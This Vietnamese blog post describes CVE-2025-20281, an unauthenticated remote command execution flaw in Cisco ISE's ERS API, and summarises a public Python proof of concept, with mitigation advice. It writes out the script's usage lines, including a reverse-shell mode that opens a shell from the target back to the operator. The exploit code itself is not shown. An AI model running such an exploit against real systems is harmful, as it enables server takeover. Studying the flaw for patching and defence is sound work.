Home / Sharenewshort / Phân Tích Chi Tiết Lỗ Hổng CVE-2025-20281: RCE Trên Cisco ISE ERS API Và PoC Python Không Xác Thực

Phân Tích Chi Tiết Lỗ Hổng CVE-2025-20281: RCE Trên Cisco ISE ERS API Và PoC Python Không Xác Thực

By bugineverything

Không có bình luận

1 Tháng 7, 2025 1:46 chiều

Giới thiệu

Lỗ hổng bảo mật CVE-2025-20281 được phát hiện trên Cisco Identity Services Engine (ISE) tại API ERS (External RESTful Services) cho phép thực thi lệnh từ xa (Remote Code Execution – RCE) mà không cần xác thực. Repository @abrewer251/CVE-2025-20281-2-Citrix-ISE-RCE cung cấp một PoC (Proof-of-Concept) Python tối giản, minh họa rõ ràng mức độ nguy hiểm và cách khai thác thực tế của lỗ hổng này.

Tổng Quan Về Lỗ Hổng

Tên lỗ hổng: CVE-2025-20281
Ảnh hưởng: Cisco ISE (Identity Services Engine) – ERS API
Loại lỗ hổng: Thực thi lệnh từ xa không xác thực (Unauthenticated Remote Code Execution)
Tác động: Kẻ tấn công có thể thực thi tuỳ ý lệnh shell trên hệ thống mà không cần bất kỳ xác thực nào, toàn quyền kiểm soát server bị ảnh hưởng.
Kịch bản tấn công: Lợi dụng API ERS với resource InternalUser để chèn lệnh shell vào các trường đầu vào không kiểm soát.

Phân Tích Kỹ Thuật PoC Python

Mục Đích & Tính Năng Của Script

Script PoC này được xây dựng nhằm chứng minh khả năng khai thác thực tế của lỗ hổng CVE-2025-20281, với các đặc điểm nổi bật:

Không yêu cầu xác thực: Có thể khai thác từ xa, kể cả với tài khoản guest hoặc hoàn toàn không đăng nhập.
Hai chế độ hoạt động:
- Chế độ --whoami: Gửi payload để thực thi lệnh whoami trên server mục tiêu và trả về kết quả.
- Chế độ --reverse: Gửi payload để thiết lập reverse shell về máy chỉ định, giúp kiểm soát server từ xa.

Các Bước Khai Thác

Chuẩn bị môi trường:
- Yêu cầu Python 3.6+.
- Cài đặt các thư viện cần thiết:
```
  pip install requests urllib3
```
Chọn chế độ khai thác:
- Kiểm tra quyền thực thi:
  bash python exploit.py --target http://<ISE_URL> --whoami
  Script sẽ gửi payload qua API InternalUser, nhận phản hồi HTTP chứa kết quả lệnh whoami.
- Reverse shell:
  bash python exploit.py --target http://<ISE_URL> --reverse --lhost <YOUR_IP> --lport <PORT>
  Payload sẽ tạo kết nối ngược về listener do pentester thiết lập, cấp quyền shell trực tiếp trên máy chủ.

Cơ Chế Kỹ Thuật

Payload độc hại được chèn vào trường của resource InternalUser thông qua yêu cầu HTTP POST/PUT đến API ERS.
Không xác thực: API bị lỗi kiểm tra xác thực/ủy quyền, cho phép bất kỳ ai gửi payload trực tiếp.
Lệnh shell: Payload có thể là bất kỳ lệnh Linux nào, ví dụ như whoami, hoặc chuỗi bash reverse shell.

Lưu Ý Pháp Lý

Cảnh báo: Chỉ sử dụng script này trên hệ thống bạn sở hữu hoặc có sự cho phép hợp pháp. Việc khai thác trái phép là vi phạm pháp luật.

Ưu Điểm Và Hạn Chế Của PoC

Ưu điểm	Hạn chế
– Tối giản, dễ sử dụng – Không yêu cầu tài khoản – Hỗ trợ reverse shell thực chiến – Giúp kiểm tra nhanh hệ thống có bị ảnh hưởng	– Chỉ minh họa một số trường hợp lệnh cơ bản – Không có tính năng bypass IDS nâng cao – Có thể bị các biện pháp phòng thủ chủ động phát hiện

Ý Nghĩa Đối Với Pentest Và Quản Trị Viên

Đối với pentester: Đây là công cụ kiểm tra nhanh để xác minh hệ thống Cisco ISE có bị ảnh hưởng bởi CVE-2025-20281 hay không.
Đối với quản trị viên: Có thể sử dụng để kiểm thử phòng thủ, xác định tính cấp thiết của việc cập nhật bản vá hoặc điều chỉnh chính sách bảo mật tại API ERS.

Đề Xuất Phòng Ngừa

Cập nhật bản vá bảo mật từ Cisco ngay khi có thể.
Hạn chế truy cập đến ERS API, chỉ cho phép các IP tin cậy.
Giám sát log để phát hiện các truy cập hoặc payload bất thường vào resource InternalUser.
Áp dụng zero trust và các biện pháp xác thực mạnh với mọi API.

Kết Luận

CVE-2025-20281 là lỗ hổng cực kỳ nguy hiểm trên Cisco ISE, cho phép thực thi lệnh từ xa không cần xác thực. PoC Python trong repo này đã chứng minh rõ mức độ nghiêm trọng, yêu cầu các tổ chức khẩn trương đánh giá và cập nhật hệ thống để tránh bị khai thác thực tế.

Source link: abrewer251/CVE-2025-20281-2-Citrix-ISE-RCE